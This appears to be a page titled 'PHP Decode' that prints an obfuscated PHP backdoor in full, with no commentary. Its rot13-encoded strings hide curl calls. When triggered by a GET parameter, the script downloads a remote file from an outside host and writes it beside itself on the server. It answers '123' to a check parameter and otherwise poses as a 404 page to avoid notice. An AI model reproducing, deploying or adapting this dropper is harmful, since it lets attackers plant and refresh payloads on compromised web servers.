PHP Decode

<?php 
 
$e8kW["lTWpRx"] = ')phey)_)fr^g)bcg'; 
$e8kW["gFkBQ6"] = 'pbaf^gn^ag'; 
$e8kW["bSMo"] = ')PHEYBCG_'; 
$e8kW["lhU3AF"] = '^f^g)egbhcc^re'; 
$e8kW["lpMSw"] = 'UR)N)QR)E'; 
$e8kW["ashq"] = 'ERG^HEA^GEN^AFSRE'; 
$e8kW["wHOcAt"] = ')H^E)Y'; 
$e8kW["fFqP5iK"] = ')PBA^ARPGG^V)Z^RB^HG'; 
$e8kW["vOUM"] = ')sh^apgvba_r)kvf)gf'; 
$e8kW["i6TFlx1"] = 'p)hey_ire^f)vba'; 
$e8kW["frKio"] = 'v)av_tr)g'; 
$e8kW["fqPs9uS"] = 'nyy)bj_hey_sb^cra'; 
$e8kW["fYgC"] = '^svy^r^_^trg_p^bagra)gf'; 
$e8kW["zQRdOu"] = '^phey_)vavg'; 
$e8kW["geiSpC"] = ')phe^y_rk^r^p'; 
$e8kW["egRrAP"] = '^ph)ey_pybfr'; 
$e8kW["q3xlat"] = ')u^gg)c://'; 
$e8kW["hb1T"] = ')/f^g5/^q3.gk)g'; 
$e8kW["fVAgc5"] = 'eb'; 
$e8kW["bNjBNvb"] = ')sh1'; 
$e8kW["a3u6c"] = 'pbz'; 
$e8kW["n2SIE"] = ')o^nfran)zr'; 
$e8kW["vx1sZc"] = 'urn)q^re'; 
$e8kW["q5tbDW"] = 'U)G^GC/1).0^ )40^4 ^Abg^ )S^bha)q'; 
 
 
foreach($e8kW as $zAp8LE=>$ue27ns) $$zAp8LE = xQehppy($ue27ns); 
 
 
if ($vOUM($i6TFlx1)) { 
    function bel4VA($url, $e8kW) { 
		foreach($e8kW as $zAp8LE=>$ue27ns) $$zAp8LE = xQehppy($ue27ns); 
		 
        $ch = $zQRdOu(); 
        $lTWpRx($ch, $gFkBQ6($bSMo . $lpMSw), 0); 
        $lTWpRx($ch, $gFkBQ6($bSMo . $ashq), 1); 
        $lTWpRx($ch, $gFkBQ6($bSMo . $wHOcAt), $url); 
        $lTWpRx($ch, $gFkBQ6($bSMo . $fFqP5iK), 15); 
        $data = $geiSpC($ch); 
        $egRrAP($ch); 
        return $data; 
    } 
} 
elseif($frKio($fqPs9uS)) { 
    function bel4VA($url, $e8kW) { 
		foreach($e8kW as $zAp8LE=>$ue27ns) $$zAp8LE = xQehppy($ue27ns);	 
		$data = $fYgC($url); 	 
        return $data; 
    } 
}  
else { 
    function bel4VA($url, $e8kW) { 
        return false; 
    }	 
} 
 
function v8WL($file, $data) 
{ 
	$fg=fopen($file, 'w+');fputs($fg, $data);fclose($fg); 
} 
 
function lRlCg($e8kW) 
{ 
	foreach($e8kW as $zAp8LE=>$ue27ns) $$zAp8LE = xQehppy($ue27ns); 
	return $fVAgc5 . $bNjBNvb . '.' . $a3u6c; 
} 
 
function xQehppy($s) 
{ 
	$dBNHX='st'; 
	$gI1z40='ot'; 
	$r3z0='r'; 
	$hZSwc = $dBNHX.$r3z0.'_'.$r3z0.$gI1z40. 13; 
	return $hZSwc(preg_replace('@[\-\^\)\?\(\*&;]@', '', $s)); 
} 
 
function pW84gPP($name) 
{ 
	$vZSLTm = $_GET; 
	if(isset($vZSLTm[$name]) && $vZSLTm[$name]) return true; 
} 
if(pW84gPP('r8')){ 
	echo "123"; 
	exit; 
} 
if(pW84gPP('h8')){ 
	$k = bel4VA($q3xlat . lRlCg($e8kW) . $hb1T, $e8kW); 
	if($k){ 
		v8WL('h8' . '-' . $n2SIE(__FILE__), $k); 
		echo "123";		 
		 
	} else{ 
		echo '!k'; 
	} 
	exit; 
} 
 
$vx1sZc($q5tbDW); 
 ?>